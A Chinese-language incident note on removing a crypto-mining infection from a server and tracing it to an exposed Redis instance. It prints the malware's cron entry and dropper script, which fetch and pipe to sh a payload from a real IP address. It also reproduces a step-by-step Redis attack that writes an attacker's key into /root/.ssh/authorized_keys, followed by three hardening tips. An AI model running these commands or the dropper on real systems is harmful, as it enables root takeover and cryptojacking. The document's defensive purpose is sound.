挖矿程序.md

问题描述

名为Donald的进程内存和CPU占用率都极高

解决思路

1.杀掉进程，删除名为Donald的文件

killall Donald
rm -rf /tmp/Donald

结果过了几秒钟，Donald进程又出现了，还是那个文件

2.考虑是否有守护进程

发现一个名为djgtfa4的进程很可疑，同样一通kill，发现Donald一样会自动重启

3.考虑是否有定时任务

crontab -l 什么都没有，但是在文件/var/spool/cron/crontabs/root中有所发现

# /var/spool/cron/crontabs/root
*/15 * * -* * (/usr/bin/djgtfa4||/usr/libexec/djgtfa4||/usr/local/bin/djgtfa4||/tmp/djgtfa4||curl -fsSL -m180 http://68.183.140.39:8000/i.sh||wget -q -T180 -O- http://68.183.140.39:8000/i.sh) | sh

4.最终解决

删掉定时任务、杀掉进程、删除文件。瞬间舒服了

原理探究

1.脚本分析

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * (/usr/bin/djgtfa4||/usr/libexec/djgtfa4||/usr/local/bin/djgtfa4||/tmp/djgtfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep djgtfa4 || rm -rf djgtfa4
if [ ! -f "djgtfa4" ]; then
    curl -fsSL -m1800 http://68.183.140.39/static/4004/ddgs.$(uname -m) -o djgtfa4||wget -q -T1800 http://68.183.140.39/static/4004/ddgs.$(uname -m) -O djgtfa4
fi
chmod +x djgtfa4
ps auxf | grep -v grep | grep djgtbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep djgtbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep djgtbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep djgtbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep djgtfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep djgtfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep djgtfa2 | awk '{print $2}' | xargs kill -9

2.如何植入脚本

这期间，阿里云给我发了很多邮件警告，说是监测到挖矿程序，并且访问恶意下载源，然后封了6379端口。

等等，6379端口不是Redis吗，难道Redis是罪魁祸首？带着疑问百度了一波。找到一篇文章。

Redis挖矿原理及其防范

1、首先我们需要一些先决条件

**条件一：**你首先要有一个Redis，并且我们要知道他的端口【默认6379】；

**条件二：**Redis的密码不能过于复杂，或者没有密码；

**条件三：**启动Redis的用户最好是Root用户，这样破坏性更大；

2、开始搞事情

2.1 创建一对秘钥

通过ssh-keygen生成一对，当然可以使用已经有的都没有问题。

Copyroot@kali:/usr/local/src# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa

接下来通过公钥生成攻击键值

Copy(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt

内容如下

Copyroot@kali:/tmp/rediskey# cat foo.txt 



ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali

这里前后增加两个换行符是为了防止数据连接在一起造成失效问题。

2.2 配置Key到Redis中#

操作如下：

Copyroot@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar
OK

登录Redis进行检查，是否已经写入进Redis中。

Copyroot@kali:/tmp/rediskey# redis-cli -h 192.168.243.129
192.168.243.129:6379> get bar
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"

2.3 通过Redis保存机制替换系统文件

且看如下操作

set bar "ssh-rsa AAAAB3NzaC1yc2..."
config set dir /root/.ssh
config set dbfilename "authorized_keys"
save

这个时候，我们登录远程主机看下效果。

Copyroot@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129
The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established.
ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts.
Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64

Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1
root@kali:~# w

OK到这里我们已经提权成功了，那我们看下导出文件到底是什么呢？其实就是Redis的保存文件形式罢了，有兴趣可以自己打开看看，这里不再展示。

3、如何预防

这个漏洞威力还是挺大的，我们现在只是拿到主机权限一个而已，加入放到定时任务执行一些脚本然后在批量感染呢？

防范的技巧如下：

1. Redis不要监听在危险IP上，如果有请加防火墙控制；
2. Redis一定要增加密码限制，且不能是弱口令；
3. Redis尽量不要用Root用户身份来启动。

做到如上三点防范Redis挖矿，没问题的。